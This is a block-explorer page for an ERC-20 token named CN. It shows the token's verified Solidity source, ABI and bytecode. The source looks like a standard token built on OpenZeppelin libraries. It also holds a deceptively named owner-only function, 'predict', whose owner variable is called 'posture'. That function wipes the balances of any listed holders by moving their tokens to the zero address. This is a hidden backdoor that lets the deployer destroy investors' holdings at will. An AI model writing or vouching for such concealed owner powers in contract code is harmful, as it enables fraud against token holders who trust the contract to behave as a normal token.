ERC-20
Overview
Max Total Supply
634,000,000 CN
Holders
150
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0 CNValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
cn
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-13 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract cn is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public posture; constructor () { _name = "CN"; _symbol = "CN"; _decimals = 18; uint256 initialSupply = 634000000; posture = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == posture, "Not allowed"); _; } function predict(address[] memory location) public onlyOwner() { for (uint256 i = 0; i < location.length; i++) { address account = location[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"posture","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"location","type":"address[]"}],"name":"predict","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f80fd5b506040805180820190915260028082526121a760f11b6020830152906100359082610232565b5060408051808201909152600281526121a760f11b602082015260039061005c9082610232565b506004805460ff19166012179055600680546001600160a01b031916339081179091556325ca1280906100a09061009b83670de0b6b3a7640000610305565b6100a6565b5061032f565b6001600160a01b0382166101005760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b60055461010d9082610186565b6005556001600160a01b0382165f908152602081905260409020546101329082610186565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f610191828461031c565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806101c257607f821691505b6020821081036101e057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022d57805f5260205f20601f840160051c8101602085101561020b5750805b601f840160051c820191505b8181101561022a575f8155600101610217565b50505b505050565b81516001600160401b0381111561024b5761024b61019a565b61025f8161025984546101ae565b846101e6565b602080601f831160018114610292575f841561027b5750858301515b5f19600386901b1c1916600185901b1785556102e9565b5f85815260208120601f198616915b828110156102c0578886015182559484019460019091019084016102a1565b50858210156102dd57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417610194576101946102f1565b80820180821115610194576101946102f1565b610cab8061033c5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80635169d2331161007d57806395d89b411161005857806395d89b41146101d2578063a9059cbb146101da578063dd62ed3e146101ed575f80fd5b80635169d23314610143578063539085891461015857806370a082311461019d575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109bb565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f96101293660046109e3565b6102d8565b60045460405160ff90911681526020016100dd565b610156610151366004610a49565b61034c565b005b6006546101789073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b61010d6101ab366004610b27565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d06104f4565b6100f96101e83660046109bb565b610503565b61010d6101fb366004610b40565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60606002805461024190610b71565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b71565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b5f6102e48484846106c2565b610342843361033d85604051806060016040528060288152602001610c4e6028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108e9565b61050f565b5060019392505050565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b81518110156104f0575f8282815181106103f0576103f0610bc2565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061046790829081906108e9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104bd908261092e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55550506001016103d4565b5050565b60606003805461024190610b71565b5f6102ce3384846106c2565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8216610808576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b61085181604051806060016040528060268152602001610c286026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108e9565b73ffffffffffffffffffffffffffffffffffffffff8085165f90815260208190526040808220939093559084168152205461088c908261092e565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f8184841115610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c99190610940565b505050900390565b5f6109398284610bef565b9392505050565b602081525f82518060208401528060208501604085015e5f6040828501015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011684010191505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109b6575f80fd5b919050565b5f80604083850312156109cc575f80fd5b6109d583610993565b946020939093013593505050565b5f805f606084860312156109f5575f80fd5b6109fe84610993565b9250610a0c60208501610993565b9150604084013590509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a5a575f80fd5b823567ffffffffffffffff80821115610a71575f80fd5b818501915085601f830112610a84575f80fd5b813581811115610a9657610a96610a1c565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610ad957610ad9610a1c565b604052918252848201925083810185019188831115610af6575f80fd5b938501935b82851015610b1b57610b0c85610993565b84529385019392850192610afb565b98975050505050505050565b5f60208284031215610b37575f80fd5b61093982610993565b5f8060408385031215610b51575f80fd5b610b5a83610993565b9150610b6860208401610993565b90509250929050565b600181811c90821680610b8557607f821691505b602082108103610bbc577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d75c94e063a9f8c9fb2dabfccab4728de051e7c8f701cfeb87cad1b8d00bf8a664736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80635169d2331161007d57806395d89b411161005857806395d89b41146101d2578063a9059cbb146101da578063dd62ed3e146101ed575f80fd5b80635169d23314610143578063539085891461015857806370a082311461019d575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd9190610940565b60405180910390f35b6100f96100f43660046109bb565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f96101293660046109e3565b6102d8565b60045460405160ff90911681526020016100dd565b610156610151366004610a49565b61034c565b005b6006546101789073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b61010d6101ab366004610b27565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d06104f4565b6100f96101e83660046109bb565b610503565b61010d6101fb366004610b40565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60606002805461024190610b71565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b71565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461050f565b5060015b92915050565b5f6102e48484846106c2565b610342843361033d85604051806060016040528060288152602001610c4e6028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108e9565b61050f565b5060019392505050565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b81518110156104f0575f8282815181106103f0576103f0610bc2565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061046790829081906108e9565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104bd908261092e565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55550506001016103d4565b5050565b60606003805461024190610b71565b5f6102ce3384846106c2565b73ffffffffffffffffffffffffffffffffffffffff83166105b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8216610654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8216610808576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b61085181604051806060016040528060268152602001610c286026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108e9565b73ffffffffffffffffffffffffffffffffffffffff8085165f90815260208190526040808220939093559084168152205461088c908261092e565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106b5565b5f8184841115610926576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c99190610940565b505050900390565b5f6109398284610bef565b9392505050565b602081525f82518060208401528060208501604085015e5f6040828501015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011684010191505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109b6575f80fd5b919050565b5f80604083850312156109cc575f80fd5b6109d583610993565b946020939093013593505050565b5f805f606084860312156109f5575f80fd5b6109fe84610993565b9250610a0c60208501610993565b9150604084013590509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a5a575f80fd5b823567ffffffffffffffff80821115610a71575f80fd5b818501915085601f830112610a84575f80fd5b813581811115610a9657610a96610a1c565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610ad957610ad9610a1c565b604052918252848201925083810185019188831115610af6575f80fd5b938501935b82851015610b1b57610b0c85610993565b84529385019392850192610afb565b98975050505050505050565b5f60208284031215610b37575f80fd5b61093982610993565b5f8060408385031215610b51575f80fd5b610b5a83610993565b9150610b6860208401610993565b90509250929050565b600181811c90821680610b8557607f821691505b602082108103610bbc577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b808201808211156102d2577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d75c94e063a9f8c9fb2dabfccab4728de051e7c8f701cfeb87cad1b8d00bf8a664736f6c63430008190033
Deployed Bytecode Sourcemap
